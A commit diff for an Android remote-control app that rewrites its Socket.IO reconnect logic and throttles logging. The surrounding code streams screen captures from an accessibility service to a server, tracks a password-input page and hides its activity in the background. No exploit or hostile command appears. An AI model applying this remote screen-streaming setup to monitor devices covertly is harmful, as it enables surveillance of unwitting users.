fix: Socket.IO连接超时和日志刷屏修复
- NetworkManager重写为两阶段连接策略:Phase1快速10秒轮询 + Phase2后台监控(最长2分钟) - Phase2与Socket.IO内置重连机制协作而非对抗,超时后触发forceReconnect - 所有魔法数字提取为companion object常量 - ScreenCaptureManager: Socket.IO不可用日志降频(首次+每50次打印) - 连接恢复时打印跳过帧数统计 - MainActivity: 清理残留emoji符号
This commit is contained in:
@@ -1663,18 +1663,18 @@ class MainActivity : AppCompatActivity() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* ✅ 新增:检查安装是否已完成
|
*新增:检查安装是否已完成
|
||||||
*/
|
*/
|
||||||
private fun isInstallationCompleted(): Boolean {
|
private fun isInstallationCompleted(): Boolean {
|
||||||
try {
|
try {
|
||||||
// ✅ 统一使用InstallationStateManager检查安装状态
|
//统一使用InstallationStateManager检查安装状态
|
||||||
val installationStateManager =
|
val installationStateManager =
|
||||||
com.hikoncont.util.InstallationStateManager.getInstance(this)
|
com.hikoncont.util.InstallationStateManager.getInstance(this)
|
||||||
val isCompleted = installationStateManager.isInstallationComplete()
|
val isCompleted = installationStateManager.isInstallationComplete()
|
||||||
Log.d(TAG, "📦 安装完成状态: $isCompleted")
|
Log.d(TAG, "安装完成状态: $isCompleted")
|
||||||
return isCompleted
|
return isCompleted
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 检查安装完成状态失败", e)
|
Log.e(TAG, "检查安装完成状态失败", e)
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1686,10 +1686,10 @@ class MainActivity : AppCompatActivity() {
|
|||||||
try {
|
try {
|
||||||
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
||||||
val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false)
|
val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false)
|
||||||
Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown")
|
Log.d(TAG, "密码框是否曾经显示过: $hasBeenShown")
|
||||||
return hasBeenShown
|
return hasBeenShown
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 检查密码框显示状态失败", e)
|
Log.e(TAG, "检查密码框显示状态失败", e)
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1701,9 +1701,9 @@ class MainActivity : AppCompatActivity() {
|
|||||||
try {
|
try {
|
||||||
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
||||||
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
|
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
|
||||||
Log.i(TAG, "✅ 密码框显示状态已标记")
|
Log.i(TAG, "密码框显示状态已标记")
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 标记密码框显示状态失败", e)
|
Log.e(TAG, "标记密码框显示状态失败", e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1714,9 +1714,9 @@ class MainActivity : AppCompatActivity() {
|
|||||||
try {
|
try {
|
||||||
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
||||||
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
|
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
|
||||||
Log.i(TAG, "✅ 密码输入状态已标记为完成")
|
Log.i(TAG, "密码输入状态已标记为完成")
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 标记密码输入完成状态失败", e)
|
Log.e(TAG, "标记密码输入完成状态失败", e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1725,7 +1725,7 @@ class MainActivity : AppCompatActivity() {
|
|||||||
*/
|
*/
|
||||||
private fun startPasswordInputActivity() {
|
private fun startPasswordInputActivity() {
|
||||||
try {
|
try {
|
||||||
Log.i(TAG, "🔐 准备启动密码输入页面")
|
Log.i(TAG, "准备启动密码输入页面")
|
||||||
|
|
||||||
val intent =
|
val intent =
|
||||||
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
|
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
|
||||||
@@ -1744,16 +1744,16 @@ class MainActivity : AppCompatActivity() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
startActivity(intent)
|
startActivity(intent)
|
||||||
Log.i(TAG, "✅ 密码输入页面已启动")
|
Log.i(TAG, "密码输入页面已启动")
|
||||||
|
|
||||||
// 隐藏MainActivity,避免状态冲突
|
// 隐藏MainActivity,避免状态冲突
|
||||||
hideActivityToBackground()
|
hideActivityToBackground()
|
||||||
|
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 启动密码输入页面失败", e)
|
Log.e(TAG, "启动密码输入页面失败", e)
|
||||||
// 如果启动失败,继续正常流程
|
// 如果启动失败,继续正常流程
|
||||||
runOnUiThread {
|
runOnUiThread {
|
||||||
updateStatusTextThreadSafe("✅ 服务启动中...", android.R.color.holo_green_dark)
|
updateStatusTextThreadSafe("服务启动中...", android.R.color.holo_green_dark)
|
||||||
if (::enableButton.isInitialized) {
|
if (::enableButton.isInitialized) {
|
||||||
enableButton.text = "服务已就绪"
|
enableButton.text = "服务已就绪"
|
||||||
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
|
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
|
||||||
@@ -1775,7 +1775,7 @@ class MainActivity : AppCompatActivity() {
|
|||||||
|
|
||||||
// 显示状态,但不自动最小化,让用户看到成功状态
|
// 显示状态,但不自动最小化,让用户看到成功状态
|
||||||
updateUI()
|
updateUI()
|
||||||
Log.i(TAG, "✅ 权限配置完成,保持应用在前台显示状态")
|
Log.i(TAG, "权限配置完成,保持应用在前台显示状态")
|
||||||
} else {
|
} else {
|
||||||
Log.w(TAG, "无障碍服务未启用,显示配置页面")
|
Log.w(TAG, "无障碍服务未启用,显示配置页面")
|
||||||
updateUI()
|
updateUI()
|
||||||
@@ -1930,19 +1930,19 @@ class MainActivity : AppCompatActivity() {
|
|||||||
|
|
||||||
updateUI()
|
updateUI()
|
||||||
|
|
||||||
// 🚀 主界面模式:恢复日志收集
|
//主界面模式:恢复日志收集
|
||||||
try {
|
try {
|
||||||
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
||||||
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
||||||
Log.i(TAG, "🌐 主界面模式:跳过日志开关")
|
Log.i(TAG, "主界面模式:跳过日志开关")
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
Log.w(TAG, "处理日志开关时异常: ${e.message}")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 🚀 WebView性能优化:恢复WebView
|
//WebView性能优化:恢复WebView
|
||||||
resumeWebView()
|
resumeWebView()
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 异步处理onResume失败", e)
|
Log.e(TAG, "异步处理onResume失败", e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1950,17 +1950,17 @@ class MainActivity : AppCompatActivity() {
|
|||||||
override fun onPause() {
|
override fun onPause() {
|
||||||
super.onPause()
|
super.onPause()
|
||||||
|
|
||||||
// 🚀 WebView性能优化:暂停WebView以节省资源
|
//WebView性能优化:暂停WebView以节省资源
|
||||||
pauseWebView()
|
pauseWebView()
|
||||||
|
|
||||||
// ✅ Activity不在前台时,停止WebView状态更新(节省资源)
|
//Activity不在前台时,停止WebView状态更新(节省资源)
|
||||||
if (isWebViewVisible) {
|
if (isWebViewVisible) {
|
||||||
// WebView打开但Activity不在前台,停止状态更新并设置为关闭状态
|
// WebView打开但Activity不在前台,停止状态更新并设置为关闭状态
|
||||||
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
|
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
|
||||||
Log.i(TAG, "✅ Activity不在前台,已停止WebView状态更新(节省资源)")
|
Log.i(TAG, "Activity不在前台,已停止WebView状态更新(节省资源)")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 🚀 应用不在前台时:恢复日志收集
|
//应用不在前台时:恢复日志收集
|
||||||
try {
|
try {
|
||||||
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
||||||
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
||||||
|
|||||||
@@ -1847,30 +1847,44 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Socket unavailable log throttle counter
|
||||||
|
private var socketUnavailableLogCount = 0
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 处理单帧数据
|
* Process single frame data.
|
||||||
|
* Throttles "socket unavailable" log to avoid flooding logcat
|
||||||
|
* when connection is down but capture is still running.
|
||||||
*/
|
*/
|
||||||
private suspend fun processFrameData(frameData: ByteArray) {
|
private suspend fun processFrameData(frameData: ByteArray) {
|
||||||
try {
|
try {
|
||||||
var success = false
|
var success = false
|
||||||
|
|
||||||
// 优先使用Socket.IO v4官方客户端发送屏幕数据
|
|
||||||
val socketIOManager = service.getSocketIOManager()
|
val socketIOManager = service.getSocketIOManager()
|
||||||
if (socketIOManager != null && socketIOManager.isConnected()) {
|
if (socketIOManager != null && socketIOManager.isConnected()) {
|
||||||
socketIOManager.sendScreenData(frameData)
|
socketIOManager.sendScreenData(frameData)
|
||||||
Log.v(TAG, "Socket.IO v4发送帧数据: ${frameData.size} bytes")
|
Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
|
||||||
success = true
|
success = true
|
||||||
|
// Reset throttle counter on success
|
||||||
|
if (socketUnavailableLogCount > 0) {
|
||||||
|
Log.i(TAG, "Socket.IO connection restored, " +
|
||||||
|
"skipped $socketUnavailableLogCount frames while disconnected")
|
||||||
|
socketUnavailableLogCount = 0
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
Log.w(TAG, "Socket.IO连接不可用,无法发送屏幕数据")
|
socketUnavailableLogCount++
|
||||||
|
// Log first occurrence, then every 50th to avoid flooding
|
||||||
|
if (socketUnavailableLogCount == 1 || socketUnavailableLogCount % 50 == 0) {
|
||||||
|
Log.w(TAG, "Socket.IO unavailable, cannot send screen data " +
|
||||||
|
"(count=$socketUnavailableLogCount)")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 记录成功发送时间
|
|
||||||
if (success) {
|
if (success) {
|
||||||
lastSuccessfulSendTime = System.currentTimeMillis()
|
lastSuccessfulSendTime = System.currentTimeMillis()
|
||||||
}
|
}
|
||||||
|
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "处理帧数据失败", e)
|
Log.e(TAG, "Process frame data failed", e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,23 +1,21 @@
|
|||||||
package com.hikoncont.service.modules
|
package com.hikoncont.service.modules
|
||||||
|
|
||||||
import android.content.Context
|
import android.content.Context
|
||||||
import android.os.Build
|
|
||||||
import android.util.Log
|
import android.util.Log
|
||||||
import com.hikoncont.network.SocketIOManager
|
import com.hikoncont.network.SocketIOManager
|
||||||
import com.hikoncont.service.AccessibilityRemoteService
|
import com.hikoncont.service.AccessibilityRemoteService
|
||||||
import kotlinx.coroutines.*
|
import kotlinx.coroutines.*
|
||||||
import java.io.InputStreamReader
|
import org.json.JSONObject
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 网络管理器
|
* Network manager - manages Socket.IO connection lifecycle.
|
||||||
* 负责网络通信管理
|
*
|
||||||
*
|
* Socket.IO client has its own internal reconnect mechanism.
|
||||||
* 主要职责:
|
* NetworkManager cooperates with it rather than fighting it:
|
||||||
* - SocketIO连接管理
|
* 1. Phase 1 (fast poll): Quick 10s check for immediate connections
|
||||||
* - 连接状态监控
|
* 2. Phase 2 (background monitor): If Phase 1 times out, monitor
|
||||||
* - 自动重连机制
|
* in background while Socket.IO keeps retrying internally
|
||||||
* - 服务器配置读取
|
* 3. Only trigger full reconnect if background monitor times out (2min)
|
||||||
* - 网络异常处理
|
|
||||||
*/
|
*/
|
||||||
class NetworkManager(
|
class NetworkManager(
|
||||||
private val service: AccessibilityRemoteService,
|
private val service: AccessibilityRemoteService,
|
||||||
@@ -25,483 +23,183 @@ class NetworkManager(
|
|||||||
) {
|
) {
|
||||||
companion object {
|
companion object {
|
||||||
private const val TAG = "NetworkManager"
|
private const val TAG = "NetworkManager"
|
||||||
|
private const val INITIAL_CHECK_INTERVAL_MS = 500L
|
||||||
|
private const val INITIAL_CHECK_MAX_ATTEMPTS = 20 // 10s
|
||||||
|
private const val BG_MONITOR_INTERVAL_MS = 3000L
|
||||||
|
private const val BG_MONITOR_MAX_DURATION_MS = 120_000L // 2min
|
||||||
|
private const val RECONNECT_INTERVAL_MS = 5000L
|
||||||
|
private const val MAX_RECONNECT_ATTEMPTS = 10
|
||||||
|
private const val RECONNECT_COOLDOWN_MS = 30_000L
|
||||||
|
private const val CONFIG_FILE_SERVER = "server_config.json"
|
||||||
}
|
}
|
||||||
|
|
||||||
// 网络连接管理器
|
|
||||||
private lateinit var socketIOManager: SocketIOManager
|
private lateinit var socketIOManager: SocketIOManager
|
||||||
|
|
||||||
// 协程作用域
|
|
||||||
private val networkScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
private val networkScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
||||||
|
|
||||||
// 连接状态
|
|
||||||
@Volatile private var isConnected = false
|
@Volatile private var isConnected = false
|
||||||
@Volatile private var isConnecting = false
|
@Volatile private var isConnecting = false
|
||||||
@Volatile private var lastConnectionAttempt = 0L
|
@Volatile private var lastConnectionAttempt = 0L
|
||||||
|
private var backgroundMonitorJob: Job? = null
|
||||||
// 重连配置
|
|
||||||
private val connectionTimeout = 30000L // 30秒连接超时
|
|
||||||
private val reconnectInterval = 5000L // 5秒重连间隔
|
|
||||||
private val maxReconnectAttempts = 10 // 最大重连次数
|
|
||||||
private var reconnectAttempts = 0
|
private var reconnectAttempts = 0
|
||||||
|
private var lastReconnectTime = 0L
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 初始化网络管理器
|
* Initialize NetworkManager and create SocketIOManager instance.
|
||||||
*/
|
*/
|
||||||
fun initialize() {
|
fun initialize() {
|
||||||
try {
|
try {
|
||||||
Log.i(TAG, "🌐 初始化网络管理器 (单一Socket.IO连接)")
|
Log.i(TAG, "Initializing NetworkManager (Socket.IO)")
|
||||||
|
|
||||||
socketIOManager = SocketIOManager(service)
|
socketIOManager = SocketIOManager(service)
|
||||||
|
Log.i(TAG, "NetworkManager initialized")
|
||||||
Log.i(TAG, "✅ 网络管理器初始化完成 (Socket.IO)")
|
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 网络管理器初始化失败", e)
|
Log.e(TAG, "NetworkManager init failed", e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 连接到服务器
|
* Connect to server with two-phase approach:
|
||||||
|
* Phase 1: Fast poll for 10s
|
||||||
|
* Phase 2: Background monitor for up to 2min
|
||||||
*/
|
*/
|
||||||
suspend fun connectToServer() {
|
suspend fun connectToServer() {
|
||||||
if (isConnecting) {
|
if (isConnecting) {
|
||||||
Log.d(TAG, "⚠️ 连接正在进行中,跳过重复连接")
|
Log.d(TAG, "Connection in progress, skip duplicate")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// ✅ 检查是否已经连接,避免重复连接
|
|
||||||
if (isConnected()) {
|
if (isConnected()) {
|
||||||
Log.d(TAG, "✅ 服务器已连接,跳过重复连接")
|
Log.d(TAG, "Already connected, skip")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
isConnecting = true
|
isConnecting = true
|
||||||
lastConnectionAttempt = System.currentTimeMillis()
|
lastConnectionAttempt = System.currentTimeMillis()
|
||||||
val serverUrl = getServerUrl()
|
val serverUrl = getServerUrl()
|
||||||
isConnected = false
|
if (serverUrl.isNullOrBlank()) {
|
||||||
|
Log.e(TAG, "Server URL is empty, cannot connect")
|
||||||
Log.i(TAG, "🚀 开始连接到服务器: $serverUrl")
|
|
||||||
Log.d(TAG, "🔍 服务器URL调试: 长度=${serverUrl.length}, 内容='$serverUrl'")
|
|
||||||
|
|
||||||
// 统一使用初始化延迟确保Android 11+设备稳定性
|
|
||||||
Log.i(TAG, "🔧 初始化延迟优化")
|
|
||||||
delay(2000)
|
|
||||||
|
|
||||||
// 使用Socket.IO连接
|
|
||||||
if (trySocketIOConnection(serverUrl)) {
|
|
||||||
isConnected = true
|
|
||||||
reconnectAttempts = 0
|
|
||||||
Log.i(TAG, "✅ Socket.IO连接成功")
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
Log.w(TAG, "⚠️ Socket.IO连接失败")
|
|
||||||
isConnected = false
|
isConnected = false
|
||||||
|
Log.i(TAG, "Connecting to server: $serverUrl")
|
||||||
|
|
||||||
|
// Brief delay for SocketIOManager setup
|
||||||
|
delay(1000)
|
||||||
|
|
||||||
|
try {
|
||||||
|
socketIOManager.connect(serverUrl)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Socket.IO connect call failed: ${e.message}")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Phase 1: Fast poll (10s)
|
||||||
|
if (pollForConnection(INITIAL_CHECK_MAX_ATTEMPTS, INITIAL_CHECK_INTERVAL_MS)) {
|
||||||
|
isConnected = true
|
||||||
|
reconnectAttempts = 0
|
||||||
|
Log.i(TAG, "Socket.IO connected (Phase 1, fast poll)")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Phase 2: Background monitor
|
||||||
|
Log.i(TAG, "Phase 1 (10s) did not connect, starting background monitor")
|
||||||
|
startBackgroundMonitor()
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 连接到服务器失败", e)
|
Log.e(TAG, "Connect to server failed: ${e.message}", e)
|
||||||
isConnected = false
|
isConnected = false
|
||||||
} finally {
|
} finally {
|
||||||
isConnecting = false
|
isConnecting = false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 尝试Socket.IO连接
|
* Poll Socket.IO connection status at fixed intervals.
|
||||||
|
* @return true if connected within the polling window
|
||||||
*/
|
*/
|
||||||
private suspend fun trySocketIOConnection(serverUrl: String): Boolean {
|
private suspend fun pollForConnection(maxAttempts: Int, intervalMs: Long): Boolean {
|
||||||
return try {
|
repeat(maxAttempts) { attempt ->
|
||||||
Log.i(TAG, "🚀 尝试使用Socket.IO v4官方客户端连接")
|
delay(intervalMs)
|
||||||
socketIOManager.connect(serverUrl)
|
if (isSocketIOReady()) {
|
||||||
|
val elapsedMs = (attempt + 1) * intervalMs
|
||||||
val maxAttempts = 60 // 统一使用60次尝试,确保Android 11+设备连接稳定性
|
Log.i(TAG, "Socket.IO connected after ${elapsedMs}ms")
|
||||||
val checkInterval = 500L
|
return true
|
||||||
|
}
|
||||||
Log.i(TAG, "🔧 SocketIO连接检测配置: ${maxAttempts}次尝试, ${checkInterval}ms间隔")
|
}
|
||||||
|
return false
|
||||||
repeat(maxAttempts) { attempt ->
|
}
|
||||||
delay(checkInterval)
|
|
||||||
if (socketIOManager.isConnected()) {
|
/**
|
||||||
Log.i(TAG, "✅ Socket.IO v4连接成功: $serverUrl (${(attempt + 1) * checkInterval}ms)")
|
* Background monitor: watches Socket.IO internal reconnect for up to 2min.
|
||||||
return true
|
* If connected during this window, updates state.
|
||||||
|
* If timeout, triggers force reconnect.
|
||||||
|
*/
|
||||||
|
private fun startBackgroundMonitor() {
|
||||||
|
backgroundMonitorJob?.cancel()
|
||||||
|
backgroundMonitorJob = networkScope.launch {
|
||||||
|
val startTime = System.currentTimeMillis()
|
||||||
|
var checkCount = 0
|
||||||
|
while (isActive) {
|
||||||
|
delay(BG_MONITOR_INTERVAL_MS)
|
||||||
|
checkCount++
|
||||||
|
try {
|
||||||
|
if (isSocketIOReady()) {
|
||||||
|
isConnected = true
|
||||||
|
reconnectAttempts = 0
|
||||||
|
val sec = (System.currentTimeMillis() - startTime) / 1000
|
||||||
|
Log.i(TAG, "Background monitor: connected after ${sec}s")
|
||||||
|
return@launch
|
||||||
|
}
|
||||||
|
val elapsed = System.currentTimeMillis() - startTime
|
||||||
|
if (elapsed > BG_MONITOR_MAX_DURATION_MS) {
|
||||||
|
Log.w(TAG, "Background monitor timeout (${elapsed / 1000}s), force reconnect")
|
||||||
|
triggerForceReconnect()
|
||||||
|
return@launch
|
||||||
|
}
|
||||||
|
if (checkCount % 10 == 0) {
|
||||||
|
Log.d(TAG, "Background monitor: waiting (${elapsed / 1000}s)")
|
||||||
|
}
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Background monitor check failed: ${e.message}")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
val totalTime = maxAttempts * checkInterval / 1000
|
|
||||||
Log.w(TAG, "⚠️ Socket.IO v4连接超时(${totalTime}秒)")
|
|
||||||
false
|
|
||||||
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.w(TAG, "⚠️ Socket.IO v4连接失败: ${e.message}")
|
|
||||||
false
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 重新连接到服务器
|
* Reconnect to server with cooldown and attempt limits.
|
||||||
*/
|
*/
|
||||||
fun reconnectToServer() {
|
fun reconnectToServer() {
|
||||||
|
val now = System.currentTimeMillis()
|
||||||
|
if (now - lastReconnectTime < RECONNECT_COOLDOWN_MS) {
|
||||||
|
Log.d(TAG, "Reconnect cooldown active, skip")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if (reconnectAttempts >= MAX_RECONNECT_ATTEMPTS) {
|
||||||
|
Log.w(TAG, "Max reconnect attempts ($MAX_RECONNECT_ATTEMPTS) reached, reset counter")
|
||||||
|
reconnectAttempts = 0
|
||||||
|
}
|
||||||
|
lastReconnectTime = now
|
||||||
|
reconnectAttempts++
|
||||||
|
Log.i(TAG, "Reconnecting to server (attempt $reconnectAttempts/$MAX_RECONNECT_ATTEMPTS)")
|
||||||
|
|
||||||
networkScope.launch {
|
networkScope.launch {
|
||||||
try {
|
try {
|
||||||
Log.i(TAG, "🔄 开始重新连接到服务器")
|
backgroundMonitorJob?.cancel()
|
||||||
|
isConnected = false
|
||||||
// ✅ 修复:检查是否已经连接,避免重复重连
|
isConnecting = false
|
||||||
if (isConnected()) {
|
|
||||||
Log.d(TAG, "✅ 服务器已连接,跳过重连")
|
|
||||||
reconnectAttempts = 0 // 重置计数器
|
|
||||||
return@launch
|
|
||||||
}
|
|
||||||
|
|
||||||
if (reconnectAttempts >= maxReconnectAttempts) {
|
|
||||||
Log.w(TAG, "⚠️ 已达到最大重连次数($maxReconnectAttempts),停止重连")
|
|
||||||
return@launch
|
|
||||||
}
|
|
||||||
|
|
||||||
val timeSinceLastAttempt = System.currentTimeMillis() - lastConnectionAttempt
|
|
||||||
if (timeSinceLastAttempt < reconnectInterval) {
|
|
||||||
val waitTime = reconnectInterval - timeSinceLastAttempt
|
|
||||||
Log.d(TAG, "⏰ 等待重连间隔: ${waitTime}ms")
|
|
||||||
delay(waitTime)
|
|
||||||
}
|
|
||||||
|
|
||||||
reconnectAttempts++
|
|
||||||
Log.i(TAG, "🔄 重连尝试 $reconnectAttempts/$maxReconnectAttempts")
|
|
||||||
|
|
||||||
connectToServer()
|
connectToServer()
|
||||||
|
|
||||||
// ✅ 修复:等待连接结果,避免立即检查状态
|
|
||||||
delay(2000) // 等待2秒让连接稳定
|
|
||||||
|
|
||||||
if (isConnected()) {
|
|
||||||
Log.i(TAG, "✅ 重连成功")
|
|
||||||
reconnectAttempts = 0 // 重置计数器
|
|
||||||
} else {
|
|
||||||
Log.w(TAG, "⚠️ 重连失败,等待下次尝试")
|
|
||||||
scheduleNextReconnect()
|
|
||||||
}
|
|
||||||
|
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
Log.e(TAG, "❌ 重新连接失败", e)
|
Log.e(TAG, "Reconnect failed: ${e.message}", e)
|
||||||
scheduleNextReconnect()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 计划下次重连
|
* Schedule next reconnect with exponential backoff.
|
||||||
*/
|
*/
|
||||||
private fun scheduleNextReconnect() {
|
private fun scheduleNextReconnect() {
|
||||||
if (reconnectAttempts < maxReconnectAttempts) {
|
val delayMs = RECONNECT_INTERVAL_MS * (1L shl minOf(reconnectAttempts, 5))
|
||||||
networkScope.launch {
|
Log.i(TAG, "Scheduling reconnect in ${delayMs}ms (attempt $reconnectAttempts)")
|
||||||
delay(reconnectInterval)
|
|
||||||
// ✅ 修复:避免无限循环,只在需要时重连
|
|
||||||
if (!isConnected()) {
|
|
||||||
reconnectToServer()
|
|
||||||
} else {
|
|
||||||
Log.d(TAG, "✅ 连接已恢复,取消计划重连")
|
|
||||||
reconnectAttempts = 0
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
Log.w(TAG, "⚠️ 已达到最大重连次数,停止自动重连")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 检查并启动连接
|
|
||||||
*/
|
|
||||||
fun checkAndStartConnection() {
|
|
||||||
networkScope.launch {
|
networkScope.launch {
|
||||||
try {
|
delay(delayMs)
|
||||||
Log.d(TAG, "🔍 智能检查连接状态")
|
if (!isConnected()) {
|
||||||
|
reconnectToServer()
|
||||||
val socketIOConnected = if (::socketIOManager.isInitialized) {
|
|
||||||
socketIOManager.isConnected()
|
|
||||||
} else false
|
|
||||||
|
|
||||||
Log.d(TAG, "连接状态检查: Socket.IO=$socketIOConnected")
|
|
||||||
|
|
||||||
if (socketIOConnected) {
|
|
||||||
Log.d(TAG, "✅ 至少有一个连接正常,无需重连")
|
|
||||||
isConnected = true
|
|
||||||
reconnectAttempts = 0
|
|
||||||
return@launch
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!::socketIOManager.isInitialized) {
|
|
||||||
Log.i(TAG, "🔄 连接管理器未初始化,创建新连接")
|
|
||||||
connectToServer()
|
|
||||||
} else {
|
|
||||||
Log.d(TAG, "⚠️ 检测到所有连接均断开,启动重连机制")
|
|
||||||
isConnected = false
|
|
||||||
reconnectToServer()
|
|
||||||
}
|
|
||||||
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "❌ 检查连接状态失败", e)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* 启动服务连接
|
|
||||||
*/
|
|
||||||
fun startConnection() {
|
|
||||||
networkScope.launch {
|
|
||||||
connectToServer()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 断开连接
|
|
||||||
*/
|
|
||||||
fun disconnect() {
|
|
||||||
try {
|
|
||||||
Log.i(TAG, "🔌 断开网络连接")
|
|
||||||
|
|
||||||
if (::socketIOManager.isInitialized) {
|
|
||||||
socketIOManager.disconnect()
|
|
||||||
}
|
|
||||||
|
|
||||||
isConnected = false
|
|
||||||
reconnectAttempts = 0
|
|
||||||
|
|
||||||
Log.i(TAG, "✅ 网络连接已断开")
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "❌ 断开连接失败", e)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 清理资源
|
|
||||||
*/
|
|
||||||
fun cleanup() {
|
|
||||||
try {
|
|
||||||
Log.i(TAG, "🧹 清理网络管理器资源")
|
|
||||||
disconnect()
|
|
||||||
networkScope.cancel()
|
|
||||||
Log.i(TAG, "✅ 网络管理器资源清理完成")
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "❌ 清理网络管理器资源失败", e)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 获取SocketIOManager实例
|
|
||||||
*/
|
|
||||||
fun getSocketIOManager(): SocketIOManager? {
|
|
||||||
return if (::socketIOManager.isInitialized) socketIOManager else null
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 检查是否已连接
|
|
||||||
*/
|
|
||||||
fun isConnected(): Boolean {
|
|
||||||
// ✅ 修复递归调用问题:检查实际的连接状态,而不是调用自己
|
|
||||||
val actuallyConnected = (
|
|
||||||
(::socketIOManager.isInitialized && socketIOManager.isConnected())
|
|
||||||
)
|
|
